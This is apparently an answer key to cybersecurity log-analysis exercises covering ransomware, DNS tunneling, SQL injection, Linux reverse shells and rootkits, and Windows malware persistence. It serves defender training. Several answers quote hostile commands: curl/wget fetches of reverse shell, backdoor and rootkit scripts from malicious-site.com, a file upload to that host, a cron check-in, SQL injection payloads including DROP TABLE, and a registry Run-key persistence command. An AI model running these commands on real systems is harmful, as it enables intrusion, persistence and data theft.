    - The ransomware appended the .locked extension to the encrypted files.
6. **What processes were executed by the ransomware on the system?**
    - The ransomware executed the processes ransomware.exe, encrypted files and installed a persistence service named "ransomware persistence" in the system.
7. **What is the attacker's Bitcoin wallet address listed in the ransom note?**
    - This would require access to the ransom note located at C:\Users\Administrator\Desktop\RANSOM_NOTE.txt, which is not directly shown in the logs.
8. **What was the first sign of the ransomware infection in the system logs?**
    - The first sign of ransomware infection was the script execution event (Event ID 4104) that downloaded the ransomware file from a malicious site.
9. **Was the attacker able to maintain persistence after executing the ransomware? How was this achieved?**

- Yes, the attacker was able to maintain persistence by installing a service named "ransomware persistence" (Event ID 7045), ensuring that the ransomware would continue running after a system reboot.

**10. How could this ransomware attack have been prevented?**

- Prevention methods could include:
  - Disabling or restricting PowerShell for non-administrative users to prevent script-based attacks.
  - Regularly updating antivirus software to detect and block malicious files like ransomware.exe.
  - Monitoring and logging PowerShell activity, especially when downloading executables or making system changes.
  - User education and awareness to recognise phishing attempts or suspicious behaviour that could lead to ransomware execution.

**EXERCISE 3**

1. **What type of attack was performed and what was the primary target of the attack?**
    - The attack was a Cache-Timing Attack, a form of side-channel attack. The primary target was the private key used in a cryptographic operation on the server.
2. **What specific technique did the attacker use to extract sensitive information?**
    - The attacker used timing analysis of cache behaviour during cryptographic operations, measuring the execution time of certain processes and analysing cache misses to infer portions of the cryptographic key.
3. **What data did the attacker extract from the system?**
    - The attacker was able to extract a segment of the cryptographic key, specifically the key segment 0x3f.
4. **What evidence in the logs suggests that the attacker was able to perform timing analysis on cryptographic operations?**
    - The log entries from cryptotime[4123] indicate timing analysis during the cryptographic operation in process 4210, as well as the detection of cache misses, which is a key indicator of a cache-timing attack.
5. **What tool or script did the attacker use to measure execution time differences?**
    - The attacker used a custom script or tool named cryptotime, which was responsible for the timing analysis and cache behaviour monitoring during cryptographic operations.
6. **What process or function was exploited by the attacker to perform the timing analysis?**
    - The attacker exploited the cryptographic operation performed by openssl under process ID 4210. By analysing the timing and cache behaviour, they were able to infer part of the cryptographic key.
7. **Was the attack successful in extracting sensitive information? Provide supporting evidence.**

- Yes, the attack was successful. The log indicates that the timing analysis extracted a key segment (0x3f) and the exfiltration script was executed, sending the data to a remote IP address (203.0.113.99).

8. **What could have been done to prevent or mitigate this type of side-channel attack?**
    - Mitigation strategies include:
        - Implementing constant-time cryptographic operations, which ensure that operations take the same amount of time regardless of the input.
        - Using cache partitioning or flush instructions to reduce the likelihood of cache-based attacks.
        - Applying hardware-level protections, such as Intel's Cache Allocation Technology (CAT), to isolate sensitive processes from cache-timing attacks.
9. **What is the role of cache behaviour in this attack and how did the attacker exploit it?**
    - Cache behaviour plays a crucial role in this attack, as cache misses and hits during cryptographic operations affect the timing of the execution. The attacker exploited these differences in timing to infer information about the cryptographic key by analysing how often cache misses occurred.
10. **How can cryptographic operations be made more resilient to timing attacks?**
    - Cryptographic operations can be made more resilient by implementing constant-time algorithms, which do not vary in execution time based on input data, making it harder for attackers to infer sensitive information from timing differences.

**EXERCISE 4**

1. **What type of attack was detected on the system?**
    - A DNS Tunneling Attack was detected, where DNS queries were used to exfiltrate sensitive data covertly.
2. **What was the objective of the attacker in this scenario?**
    - The objective of the attacker was to exfiltrate sensitive data from the network to a remote server by encoding the data into DNS queries.
3. **What DNS domain was used for the tunneling attack?**
    - The attacker used the domain attacker-domain.com for the DNS tunneling.
4. **What data was exfiltrated through the DNS tunnel?**
    - Sensitive data was exfiltrated, as evidenced by the query strings like abc123.sensitive_data.attacker-domain.com.
5. **How did the attacker manage to bypass the firewall and other network security measures?**
    - The attacker bypassed the firewall by using DNS queries (port 53 UDP), which were allowed through the firewall, whereas direct TCP connections were blocked.
6. **What process initiated the DNS queries for the tunnel?**
    - The DNS queries were initiated by the process dns_exfil under PID 5678, as shown in the logs.
7. **What IP addresses were involved in the communication?**
    - The internal IP 192.168.1.12 communicated with the remote IP 203.0.113.55 using DNS.
8. **What tool or technique could have been used to detect the DNS tunneling attack?**
    - DNS anomaly detection tools, such as DNS monitoring systems or IDS/IPS with DNS tunneling detection signatures, could have detected the abnormal volume and pattern of DNS queries.
9. **What could have been done to prevent or mitigate this DNS tunneling attack?**
    - Prevention strategies include:

- Rate limiting DNS queries to detect and block excessive DNS requests.
- Implementing DNS logging and analysis to monitor for unusual query patterns.
- Using firewall rules to inspect DNS traffic for suspicious domains or subdomains.
- Blocking or closely monitoring outbound DNS requests to untrusted or external DNS servers.

**10. What was the time frame during which the attack occurred?**

- The attack occurred between 11:15:23 and 11:16:25 on August 16, with most of the activity happening in a brief window.

**EXERCISE 5**

1. **What type of attack was detected on the system?**
    - An SQL Injection Attack was detected, where the attacker manipulated SQL queries to bypass authentication.
2. **What was the objective of the attacker in this scenario?**
    - The objective of the attacker was to bypass authentication and gain unauthorised access to the database to retrieve sensitive data, such as credit card information.
3. **How did the attacker inject the malicious SQL query into the system?**
    - The attacker injected the malicious SQL query through a POST request to the /login.php page by manipulating the username and password fields.
4. **What evidence in the logs indicates that the attack was successful?**
    - The logs show that the attacker injected the SQL payload ' OR 1=1; --, bypassing the authentication mechanism (Authentication bypass detected for user 'admin'). The attacker was able to execute further queries, such as retrieving credit card information.
5. **What data was compromised due to the SQL injection?**
    - The attacker accessed the users table and retrieved sensitive information from the credit_cards table.
6. **Which application or service was exploited for the SQL injection?**
    - The /login.php page of the web application was exploited, which interacted with the backend MySQL database.
7. **What was the specific SQL query or payload used by the attacker?**
    - The attacker used the SQL payload ' OR 1=1; --, which is a common method to bypass authentication by making the SQL query always evaluate to true.
8. **How could the application have been secured to prevent SQL injection?**
    - The application could have been secured by:
        - Using prepared statements and parameterised queries to prevent direct injection into SQL queries.
        - Implementing input validation and sanitisation to block malicious characters like ', -- and ;.

        - Employing web application firewalls (WAF) to detect and block SQL injection attempts.

9. **What steps should be taken to detect and mitigate SQL injection attacks?**
    - Steps include:
        - Regularly auditing and monitoring SQL query logs for unusual or suspicious queries.
        - Implementing input validation to reject potentially harmful input.
        - Using intrusion detection systems (IDS) or SIEM to monitor for abnormal database access patterns.
10. **What time frame did the SQL injection attack occur within and how quickly was it detected?**
    - The SQL injection attack began at 14:15:45 and was detected within about 15 minutes, as indicated by the SIEM alert at 14:16:30.

**EXERCISE 6**

1. **What type of attack was performed on the Linux server based on the log data?**
    - The attack was a Remote Code Execution (RCE) attack, where the attacker gained access to the server, executed commands and established a persistent reverse shell.
2. **What was the time range during which the attack took place?**
    - The attack occurred between 02:45:10 and 02:49:30 on August 16.
3. **Which tools did the attacker use to execute the attack?**
    - The attacker used SSH to gain access, curl to download a reverse shell script and various Linux commands to gather information about the system.
4. **What was the attacker's IP address?**
    - The attacker's IP address was 198.51.100.22.
5. **What files or information did the attacker access on the system?**
    - The attacker accessed several files, including /etc/passwd, /var/log/secure and /etc/ssh/sshd_config and executed commands to view network connections and running processes.
6. **What were the attacker's actions to maintain persistence on the Linux server?**
    - The attacker added a cron job to execute a curl command every 10 minutes, ensuring continuous communication with the attacker's server.
7. **Which commands were executed by the attacker and what were their purposes?**
    - curl -O http://malicious-site.com/tools/reverse_shell.sh: Downloaded a reverse shell script.
    - chmod +x /home/admin/reverse_shell.sh: Made the reverse shell script executable.
    - ./reverse_shell.sh: Executed the reverse shell script to establish a connection.
    - uname -a: Gathered system information.
    - whoami: Checked the current user.

- cat /etc/passwd: Viewed user accounts.
- netstat -anp: Viewed network connections and listening ports.
- ifconfig -a: Displayed network interfaces and configurations.
- ps aux: Listed running processes.
- cat /var/log/secure: Reviewed secure logs for evidence of access.
- cat /etc/ssh/sshd_config: Examined SSH configuration.
- echo "*/10 * * * * /usr/bin/curl -s http://malicious-site.com/check_in > /dev/null 2>&1" | crontab -: Added a cron job to maintain persistence.
- rm -f /home/admin/reverse_shell.sh: Removed the reverse shell script to cover tracks.

8. **Was the attack successful? Provide evidence to support your conclusion.**
   - Yes, the attack was successful. Evidence includes the successful establishment of a reverse shell, the execution of commands to gather sensitive information and the creation of a cron job for persistence.
9. **What could be done to prevent this type of attack in the future?**
   - Implement strong SSH authentication mechanisms, including MFA.
   - Regularly audit cron jobs and user activities.
   - Restrict the execution of potentially dangerous commands like curl for untrusted users.
   - Monitor outgoing network traffic for unusual connections.
   - Deploy Host-based Intrusion Detection Systems (HIDS) to detect and alert on suspicious activities.
10. **How did the attacker clean up evidence of their activities on the system?**
    - The attacker removed the reverse shell script using the rm command, attempting to erase evidence of their presence on the system.

**EXERCISE 7**

1. **What type of attack was performed on the Linux server based on the log data?**
    - The attack was a Privilege Escalation and Persistent Backdoor Installation, where the attacker gained unauthorised root access and installed backdoors to maintain control over the server.
2. **What was the time range during which the attack took place?**
    - The attack occurred between 03:15:10 and 03:19:30 on August 22.
3. **Which tools did the attacker use to establish persistence and escalate privileges?**
    - The attacker used wget to download a backdoor script, executed it to establish a reverse shell and then downloaded and executed a privilege escalation tool.
4. **What was the attacker's IP address?**
    - The attacker's IP address was 198.51.100.25 for the initial access and 203.0.113.60 for the reverse shell.
5. **What files or information did the attacker extract from the system?**
    - The attacker uploaded the /var/www/html/index.php file to a remote server, indicating a potential web shell installation.
6. **What were the attacker's actions to maintain stealth on the Linux server?**
    - The attacker installed a rootkit using stealth_tools and ran a cleanup script to partially wipe the logs.
7. **What vulnerabilities did the attacker exploit to gain initial access to the system? Provide the CVE-ID if applicable.**
    - The attacker may have exploited weak password authentication for SSH access. Without further details, a specific CVE cannot be identified, but enforcing strong password policies and disabling root login could mitigate this vulnerability.
8. **Which commands were executed by the attacker and what were their purposes?**
    - wget http://malicious-site.com/backdoor.sh: Downloaded the backdoor script.

- bash /tmp/backdoor.sh: Executed the backdoor script to initiate a reverse shell.
- wget http://malicious-site.com/escalate_privileges.tar.gz: Downloaded a privilege escalation tool.
- tar -xzvf escalate_privileges.tar.gz: Extracted the privilege escalation tool.
- chmod +x /tmp/escalate_privileges: Made the tool executable.
- /tmp/escalate_privileges: Executed the privilege escalation tool to gain full root access.
- wget http://malicious-site.com/ssh_config_update.sh: Downloaded a script to update SSH configuration.
- bash /tmp/ssh_config_update.sh: Executed the SSH configuration update to allow root login from specific IPs.
- wget http://malicious-site.com/stealth_tools.tar.gz: Downloaded a rootkit.
- tar -xzvf stealth_tools.tar.gz: Extracted the rootkit.
- chmod +x /tmp/stealth_tools: Made the rootkit executable.
- /tmp/stealth_tools --install: Installed the rootkit to hide activities.
- curl -T /var/www/html/index.php http://malicious-site.com/upload: Uploaded the web shell to the attacker's server.
- wget http://malicious-site.com/cleanup.sh: Downloaded a cleanup script.
- bash /tmp/cleanup.sh: Executed the cleanup script to wipe logs partially.

**9. Was the attack successful? Provide evidence to support your conclusion.**

- Yes, the attack was successful. The logs show that the attacker escalated privileges to root, installed a backdoor, updated SSH configurations and successfully cleaned up logs to maintain stealth.

**10. What could be done to prevent this type of attack in the future?**

- Implement strong SSH authentication (e.g., key-based), disable root login, use IDS/IPS systems, regularly update and patch the system, monitor logs for suspicious activities and deploy endpoint protection to detect and prevent unauthorised tools from being executed.

**EXERCISE 8**

1. **What type of attack is indicated in these logs?**
    - The logs indicate a successful privilege escalation attack, where the attacker used a compromised account to escalate privileges and perform malicious actions on the system.
2. **Which account was compromised and how was it used by the attacker?**
    - The account "attacker" (SID: S-1-5-21-3623811015-3361044348-30300820-1013) was compromised. It was used to gain access to the system, escalate privileges, create a new "backdoor" user, add this user to the "Domain Admins" group and clear the audit logs.
3. **What privileges were escalated and what actions did the attacker perform using these privileges?**
    - The attacker escalated privileges to include SeDebugPrivilege, SeTakeOwnershipPrivilege and other special privileges. The attacker created a new user account "backdoor," added it to the Domain Admins group, accessed sensitive files via a network share and cleared the security logs.
4. **Identify the timeline of events in the attack, including the time of the initial logon and subsequent malicious activities.**
    - 1:02:25 PM: Attacker logs in using the compromised account.
    - 1:03:30 PM: Attacker uses SeDebugPrivilege.
    - 1:04:12 PM: Attacker creates a new user "backdoor."
    - 1:06:15 PM: "backdoor" is added to the Domain Admins group.
    - 1:08:01 PM: Attacker accesses sensitive files via a network share.
    - 1:09:05 PM: Attacker clears the security logs.
5. **Was there any attempt to cover tracks? Provide evidence from the logs.**
    - Yes, the attacker attempted to cover tracks by clearing the security logs at 1:09:05 PM, as indicated by Event ID 1102.
6. **What measures could be taken to prevent such an attack in the future?**
    - To prevent such attacks, implement stronger authentication mechanisms (e.g., multi-factor authentication), regularly review user privileges, monitor for unusual logon patterns, implement strict audit log protection

and deploy advanced threat detection tools to alert on privilege escalation and log clearing activities.

**EXERCISE 9**

1. **Based on the logs, identify any suspicious activities or patterns. Are there any signs of a potential attack? If so, what could be the attacker's objectives?**
    - The suspicious activity here is the connection attempts from 172.16.0.1 to 192.168.1.150 on port 443 (HTTPS) at 12:28:35. The connection was denied, which might indicate that the firewall blocked this attempt as it did not match an allowed rule. The repeated denial of attempts from this IP and specifically targeting port 443 (a common port for HTTPS traffic), suggests a possible reconnaissance or exploitation attempt.
2. **Correlate different events in the logs to see if they are part of a larger attack pattern. How do the actions at different times relate to each other?**
    - The series of events indicates a potential multi-stage attack. The 172.16.0.1 IP address repeatedly attempts to establish an HTTPS connection with 192.168.1.150 but is blocked. Following these attempts, there are successful SSH connections from 10.0.0.50 to 192.168.1.150 on port 22 at 12:30:12 and 12:33:08. The timing and nature of these connections suggest that the attacker might have gained access through SSH and is trying to pivot within the network or perform lateral movement to reach 192.168.1.150.
3. **What possible exploits or vulnerabilities could the attacker be attempting to leverage based on the actions seen in the logs?**
    - The repeated HTTPS connection attempts could indicate an attacker scanning or attempting to exploit a vulnerability in a web application or service running on port 443. The successful SSH connections suggest that the attacker might be exploiting weak or compromised credentials, or a vulnerability in the SSH service to gain access to the system. This could be part of a larger strategy to establish a foothold and move laterally within the network.
4. **What steps would you recommend to mitigate the detected activities? Consider firewall rules, network segmentation and other security measures.**
    - **Firewall Rules**: Tighten firewall rules to restrict access to critical services like SSH (port 22) and HTTPS (port 443) to known and trusted IP addresses only.
    - **Network Segmentation**: Implement stronger network segmentation to isolate critical systems, making it harder for attackers to move laterally.

- **SSH Hardening**: Ensure that SSH access is secured using strong authentication methods, such as key-based authentication and restrict access to SSH from trusted IPs only.
- **Intrusion Detection/Prevention**: Implement IDS/IPS to detect and block suspicious activities such as repeated failed connection attempts and unusual SSH connections.

5. **Given the logs and the detected activities, prioritise the incidents that need to be addressed immediately. Which incidents pose the greatest threat?**
    - **Immediate Priority**: The successful SSH connections from 10.0.0.50 to 192.168.1.150 should be addressed immediately, as they indicate that the attacker might have already compromised the system. Investigate the credentials used and the actions performed during these sessions.
    - **Secondary Priority**: The denied HTTPS connection attempts from 172.16.0.1 should be analysed to understand the motive behind these attempts. Even though they were blocked, the repeated attempts might indicate a targeted attack and further investigation is necessary to identify potential vulnerabilities.
    - **Ongoing Monitoring**: Continuously monitor the network for any further suspicious activities, especially from the IP addresses involved in this incident.

**EXERCISE 10**

1. **What type of attack was performed and what was the primary target of the attack?**
    - The attack was a malware-based attack targeting system files and processes to exfiltrate sensitive information, specifically aiming to dump the lsass.exe process and escalate privileges.
2. **What specific technique did the attacker use to gain unauthorised access or escalate privileges?**
    - The attacker used a malicious executable (malware.exe) to modify critical system files (hosts), attempt privilege escalation by targeting lsass.exe and create a memory dump of lsass.exe to extract sensitive credentials.
3. **What evidence in the logs suggests that the attacker was attempting to exfiltrate data?**
    - The logs indicate network connections to a remote IP address (203.0.113.45) with data being sent, especially the 3MB of data at 15:23:25, which suggests exfiltration of sensitive information, likely the memory dump of lsass.exe.
4. **What tool or process was used by the attacker to dump the memory of the lsass.exe process?**
    - The malware.exe process (PID: 1275) was used to dump the memory of the lsass.exe process, as indicated in the log entry at 15:23:22.
5. **What persistence mechanism did the attacker establish on the system?**
    - The attacker established persistence by modifying the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, adding an entry for malware.exe, ensuring the malware runs upon system startup.
6. **Was the attack successful in extracting sensitive information? Provide supporting evidence.**
    - Yes, the attack was successful. The logs indicate that the lsass.exe process was dumped (15:23:22) and subsequently, 3MB of data was sent to the remote IP address 203.0.113.45 at 15:23:25, suggesting that the memory dump, likely containing credentials, was exfiltrated.
7. **How did the attacker attempt to cover their tracks after executing the malware?**

- The attacker attempted to cover their tracks by deleting the malware.exe file (15:23:20) and later deleting the modified hosts file (15:23:30).

8. **What could have been done to detect or mitigate this type of attack earlier?**
    - Mitigation strategies include:
        - Implementing strict EDR rules to monitor and block unauthorised process creation and file modifications, especially for critical system files like hosts and lsass.exe.
        - Utilising advanced threat detection tools that can recognise and respond to suspicious activities such as unauthorised memory dumps and privilege escalation attempts in real-time.
        - Regularly reviewing and restricting registry modifications to prevent persistence mechanisms from being established.
9. **What role did the EDR play in detecting and logging the attack?**
    - The EDR detected suspicious activities such as file modifications, process creation, privilege escalation attempts, memory dumping and exfiltration attempts, logging these events and generating alerts that could be used to investigate and respond to the attack.
10. **What further steps should be taken to secure the system after such an attack?**
    - After detecting and responding to the attack:
        - Conduct a thorough forensic analysis to understand the full extent of the breach.
        - Revoke and change any compromised credentials, especially those extracted from lsass.exe.
        - Rebuild or restore affected systems from known good backups.
        - Apply patches and updates to close any exploited vulnerabilities.
        - Review and tighten security policies, including access controls, to prevent future attacks.

**EXERCISE 11**

1. **What type of attack was performed and what was the primary target of the attack?**
    - SQL Injection. The attack targeted the web application's backend database, specifically attempting to manipulate the SQL queries executed by the Microsoft SQL Server (MSSQLSERVER).
2. **What specific SQL Injection technique did the attacker use to try to access the database?**
    - The attacker used several SQL injection techniques, including:
        - Boolean-based SQL Injection: Injecting a condition like OR '1'='1' to bypass authentication and retrieve information.
        - Union-based SQL Injection: Injecting a UNION SELECT statement to combine results from multiple queries and extract data from the users table.
        - Error-based SQL Injection: Exploiting error messages to identify vulnerabilities.
        - AND condition in SQL Injection: Attempting to validate known credentials by injecting an AND condition.
        - SQL Command Injection: Attempting to drop the users table using a semicolon to end the current query and start a new one.
3. **What data or functionality was the attacker attempting to extract or manipulate from the system?**
    - The attacker was attempting to:
        - Extract usernames and passwords from the users table.
        - Bypass authentication by exploiting SQL injection.
        - Ultimately, the attacker attempted to drop the entire users table, which would result in the deletion of all user account data.
4. **What evidence in the logs suggests that the attacker was able to execute SQL commands through the web application?**
    - The logs show several suspicious GET requests with SQL code, such as GET /index.aspx?id=1%20OR%20'1'='1' and GET /index.aspx?id=1;%20DROP%20TABLE%20users;.

- MSSQLSERVER log entries report SQL Injection attempts detected with error codes like Error: 18456, Severity: 14, State: 5.
- The log entry Warning: SQL Injection detected, table 'users' dropped from 'production_db'confirms the execution of the SQL command to drop the table.

5. **What tool or script might the attacker have used to automate the SQL injection attempts?**
    - The attacker might have used a tool like SQLmap or a custom script to automate the SQL injection process. These tools can automate the injection of SQL commands and extraction of data.
6. **What specific database commands were issued by the attacker and what was their intended effect?**
    - Commands Issued:
        - UNION SELECT username,password FROM users: Intended to extract usernames and passwords from the users table.
        - DROP TABLE users;: Intended to delete the users table entirely from the production_db database.
    - Extracting sensitive data and causing data loss or service disruption by dropping a critical table.
7. **Was the attack successful in extracting or altering sensitive information? Provide supporting evidence.**
    - There is no direct evidence in the logs that sensitive data was successfully extracted since the suspicious queries were detected and connections were aborted. The attack was successful in altering the database by dropping the users table, as evidenced by the log entry table 'users' dropped from 'production_db'.
8. **What could have been done to prevent or mitigate this type of SQL injection attack?**
    - Implement strict input validation to sanitise and validate all user inputs.
    - Use parameterised queries (prepared statements) to prevent SQL injection by separating SQL code from data.
    - Deploy a WAF to detect and block SQL injection attempts.
    - Restrict database user permissions to limit the impact of successful SQL injections (e.g., the webapp user should not have DROP permissions).

- Implement custom error pages to prevent detailed error messages from being displayed to the user.

9. **What role did input validation play (or fail to play) in this attack?**
    - Input validation failed, as the web application did not properly sanitise the input, allowing SQL code to be injected directly into the SQL queries. This failure allowed the attacker to manipulate the queries and extract or alter data.
10. **How can SQL queries be made more resilient to SQL injection attacks? Provide examples of best practices.**
    - Use parameterised queries or prepared statements, where user input is treated as a variable rather than part of the SQL code. For example:

      SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE id = @id", conn);

      cmd.Parameters.AddWithValue("@id", userInput);
    - Use stored procedures to encapsulate SQL logic within the database, reducing the risk of SQL injection.
    - Use Object-Relational Mapping (ORM) tools like Entity Framework, which abstract SQL queries and reduce direct interaction with SQL.
    - If parameterised queries are not possible, ensure all user input is properly escaped before including it in SQL queries.
    - Regularly conduct security testing, including automated vulnerability scans and manual code reviews, to identify and fix SQL injection vulnerabilities.

**EXERCISE 12**

1. **What type of attack was performed and what was the primary target of the attack?**
    - The attack was a malware infection targeting a user endpoint. The primary target was the system's integrity, allowing the attacker to maintain persistence and exfiltrate data.
2. **What specific technique did the attacker use to compromise the user endpoint?**
    - The attacker used a social engineering technique by tricking the user into downloading and executing a malicious file disguised as a PDF document. This file executed a dropper that installed additional malware on the system.
3. **What was the initial vector of the attack?**
    - The initial attack vector was the user downloading a file named invoice.pdf from a malicious website, which then executed a malicious executable invoice.pdf.exe on the system.
4. **What evidence in the logs suggests that the malware was executed and spread across the system?**
    - Evidence in the logs shows that the file invoice.pdf.exe was created and executed (Aug 16 09:20:15 - Aug 16 09:20:18), followed by attempts to establish outbound connections to an external IP (Aug 16 09:20:20 - Aug 16 09:20:25). The logs also show unauthorised modifications to the system registry and the creation of persistence mechanisms (Aug 16 09:20:30 - Aug 16 09:24:40).
5. **What command or script did the attacker use to maintain persistence on the compromised system?**
    - The attacker added a registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malware) to ensure that the malware would execute upon system startup. Additionally, a new service (malware) was added to the startup sequence.
6. **Was the malware able to communicate with an external server? Provide supporting evidence.**
    - Yes, the malware was able to establish outbound connections to the IP address 203.0.113.101 on various ports (Aug 16 09:20:25, Aug 16 09:21:10, Aug 16 09:24:05, Aug 16 09:24:25, etc.), indicating that it

successfully communicated with an external command-and-control (C2) server.

7. **What specific actions did the malware take to modify the system and how was this reflected in the logs?**
    - The malware modified the system by creating an executable file (malware.exe), modifying the svchost.exe process, adding a new service to the startup and repeatedly altering the system's hosts file (Aug 16 09:24:15 - Aug 16 09:28:25). These modifications are evident from the logs showing unauthorised file and registry changes.
8. **What could have been done to prevent or mitigate this type of malware infection?**
    - Preventive measures could include:
        - Enforcing strict email and web filtering to block access to malicious sites.
        - Educating users on the risks of downloading and executing files from untrusted sources.
        - Implementing application whitelisting to prevent the execution of unauthorised software.
        - Regularly updating antivirus definitions and enabling heuristic scanning to detect unknown threats.
9. **How did the Antivirus software respond to the malware and what gaps in detection can be identified?**
    - The antivirus detected and terminated the malicious process invoice.pdf.exe and later identified malware.exe as Backdoor.Win32, terminating it as well (Aug 16 09:20:42, Aug 16 09:26:30). However, the initial scan did not detect the malware and the persistence mechanism allowed the malware to reactivate after termination, highlighting gaps in the detection of fileless or script-based attacks.
10. **What additional steps should be taken to fully eradicate the malware and secure the system?**
    - Additional steps should include:
        - Conducting a full system forensic analysis to identify and remove any remnants of the malware.

- Restoring the system to a known good state, if possible.
- Reassessing and tightening security policies, including registry protection, service management and network monitoring.
- Ensuring all systems are patched and updated to prevent exploitation of known vulnerabilities.
- Monitoring network traffic for signs of continued communication with the attacker's C2 infrastructure.

**EXERCISE 13**

1. **What type of attack was performed and what was the primary target of the attack?**
    - The attack was a malware infection aimed at the user endpoint. The attacker used a malicious PDF file that executed a PowerShell script to perform various malicious activities on the user's system.
2. **What specific technique did the attacker use to compromise the user endpoint?**
    - The attacker employed social engineering by tricking the user into downloading and executing a file named invoice.pdf.exe, which appeared to be a legitimate PDF file but was actually an executable that launched a PowerShell session.
3. **What was the initial vector of the attack?**
    - The initial vector was a malicious download. The user, 'Izzmier,' downloaded a file from a suspicious website (http://malicious-site.com). The file was named invoice.pdf, which was actually an executable file (invoice.pdf.exe).
4. **What evidence in the logs suggests that the attacker executed a PowerShell script to maintain persistence?**
    - The logs show the following commands executed via PowerShell:
        - Downloaded a script (cmd.ps1) from an external server (http://203.0.113.101).
        - Added a registry key for persistence under HKCU:\Software\Microsoft\Windows\CurrentVersion\Run.
        - Created a new service named "Malware" to ensure the malware runs on system startup.
5. **What evidence in the logs suggests that the attacker executed a PowerShell script to maintain persistence?**
    - The attacker used the following command to create persistence: New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Malware" -Value "C:\Users\Izzmier\AppData\Roaming\malware.exe" -PropertyType String
    - This added an entry in the Windows registry, ensuring that the malware (malware.exe) would execute every time the user logs in.

6. **Was the malware able to communicate with an external server? Provide supporting evidence.**
    - Yes, the malware was able to communicate with an external server:
        - Network Connection Logs indicate connections to the IP address 203.0.113.101 on port 8080 and later on port 443 (likely for encrypted communication).
        - This is indicative of command-and-control (C2) communication, where the malware might be receiving instructions or exfiltrating data.
7. **What specific actions did the malware take to modify the system and how was this reflected in the logs?**
    - **System Modification:**
        - The malware downloaded and executed a PowerShell script (cmd.ps1).
        - Added a registry key for persistence.
        - Created a new service for automatic execution on startup.
        - Copied the malicious executable to a more persistent location (C:\Users\Izzmier\AppData\Roaming\malware.exe).
    - **Logs Reflection:**
        - The logs detail the commands executed, registry changes and service creation. The process creation and termination logs also provide evidence of malware execution and antivirus intervention.
8. **How did the Antivirus software respond to the malware and what gaps in detection can be identified?**
    - The Antivirus detected and terminated the malware executable (malware.exe) and removed the malicious registry key.
    - The Antivirus detected the threat after the malware had already established persistence and communicated with the external server. This suggests a delay in detection, potentially allowing the malware to perform its initial actions before being stopped.
9. **What additional steps should be taken to fully eradicate the malware and secure the system?**

- Check for any remaining artifacts, such as other modified registry keys or hidden files.
- Monitor outgoing traffic to ensure there are no further connections to suspicious IP addresses.
- Ensure all software, including the OS and antivirus, is up-to-date.
- Review all system and security logs to identify any other potentially compromised endpoints.
- Conduct training to help users identify phishing attempts and avoid downloading files from untrusted sources.

**10. How can organisations better protect against PowerShell-based attacks?**

- Implement PowerShell Constrained Language Mode to restrict the execution of potentially malicious scripts.
- Set strict execution policies for PowerShell scripts, such as restricting script execution to signed scripts only.
- Use application whitelisting to prevent unauthorised applications and scripts from running.
- Utilise advanced threat detection tools that monitor and block suspicious PowerShell activities in real-time.
- Conduct regular audits of PowerShell logs and network traffic to detect abnormal activities early.

**EXERCISE 14**

1. **What type of attack was performed and what was the primary target of the attack?**
    - This was a WebLogic Server exploitation where the attacker targeted the embedded LDAP and JDBC resources to extract and manipulate sensitive data.
2. **Identify the steps the attacker took to carry out the attack. How did they escalate privileges?**
    - The attacker logged in as the admin user, indicating potential password compromise.
    - The attacker created a malicious JDBC data source (jdbc/maliciousDS).
    - They executed SQL scripts to extract data from the USERS table and created a copy of it in MALICIOUS_DATA.
    - They inserted the data into the MALICIOUS_DATA table and then deleted both the JDBC data source and the table.
3. **Which IP address was used by the attacker?**
    - The attacker used IP address 192.168.10.5.
4. **What was the purpose of creating the malicious JDBC data source?**
    - The attacker used the JDBC data source as a means to run arbitrary SQL commands on the WebLogic server.
5. **How did the attacker cover their tracks after the data extraction?**
    - The attacker deleted the jdbc/maliciousDS data source and the MALICIOUS_DATA table to remove traces of the attack.
6. **What additional security measures could be implemented to prevent this type of attack?**
    - Implement strong password policies and multi-factor authentication (MFA) for all administrative access.
    - Regularly monitor and review access logs for suspicious activities.
    - Restrict administrative access based on IP whitelisting.
    - Conduct regular security audits of the WebLogic server configuration.
7. **What evidence in the logs indicates that an unauthorised activity occurred?**

- The creation and deletion of the jdbc/maliciousDS data source and the execution of SQL scripts that were not part of regular administrative tasks.

8. **Describe the sequence of events that led to the execution of the SQL script to extract and delete data.**
    - The attacker logged in as admin, created a malicious data source, ran SQL scripts to extract and copy data and then deleted the data source and copied table to cover their tracks.

**EXERCISE 15**

1. **What type of attack was performed and what was the primary target of the attack?**

    - SQL Injection and Brute-Force Attack. The primary target was the login page of the web application on the Windows endpoint, with the goal of bypassing authentication mechanisms.

2. **What specific SQL Injection technique did the attacker use to try to access the database?**

    - The attacker used SQL Injection to try to bypass authentication or extract information from the database. Evidence of this is seen in the SQL Injection attempts detected in the MSSQLSERVER logs.

3. **What data or functionality was the attacker attempting to extract or manipulate from the system?**

    - The attacker attempted to bypass authentication controls and potentially gain unauthorised access to the system by injecting SQL commands into the login page.

4. **What evidence in the logs suggests that the attacker was able to execute SQL commands through the web application?**

    - Multiple MSSQLSERVER logs indicate SQL Injection attempts, with errors suggesting that invalid SQL commands or suspicious activity were detected.

    - The consistent pattern of failed login attempts from the same client IP address indicates repeated attempts to exploit the SQL Injection vulnerability.

5. **What tool or script might the attacker have used to automate the SQL injection and brute-force attempts?**

    - The attacker might have used automated tools such as SQLmap for SQL Injection and Hydra or Burp Suite Intruder for brute-force attacks on login credentials.

6. **What specific database commands were issued by the attacker and what was their intended effect?**

    - Specific SQL commands are not detailed in the logs, but attempts to bypass authentication suggest the use of common SQL Injection payloads.

    - Multiple failed login attempts were made to guess the correct credentials for the 'admin' user.

- To either bypass authentication or extract data from the database.

7. **Was the attack successful in extracting or altering sensitive information? Provide supporting evidence.**
    - There is no direct evidence in the logs that sensitive data was extracted or altered. However, the repeated failed login attempts and SQL Injection detection indicate the attacker's attempts to exploit the system.

8. **What could have been done to prevent or mitigate this type of SQL Injection and brute-force attack?**
    - **Prevention/Mitigation:**
        - Sanitise and validate all user inputs to prevent SQL Injection.
        - Use parameterised queries to prevent SQL injection.
        - Implement rate limiting to mitigate brute-force attacks by restricting the number of login attempts from a single IP address.
        - Implement account lockout mechanisms after a certain number of failed login attempts.
        - Configure firewall rules to block suspicious outbound connections.

9. **What role did input validation play (or fail to play) in this attack?**
    - Input validation was likely inadequate, as the web application failed to sanitise or validate user inputs, allowing SQL Injection payloads to be executed.

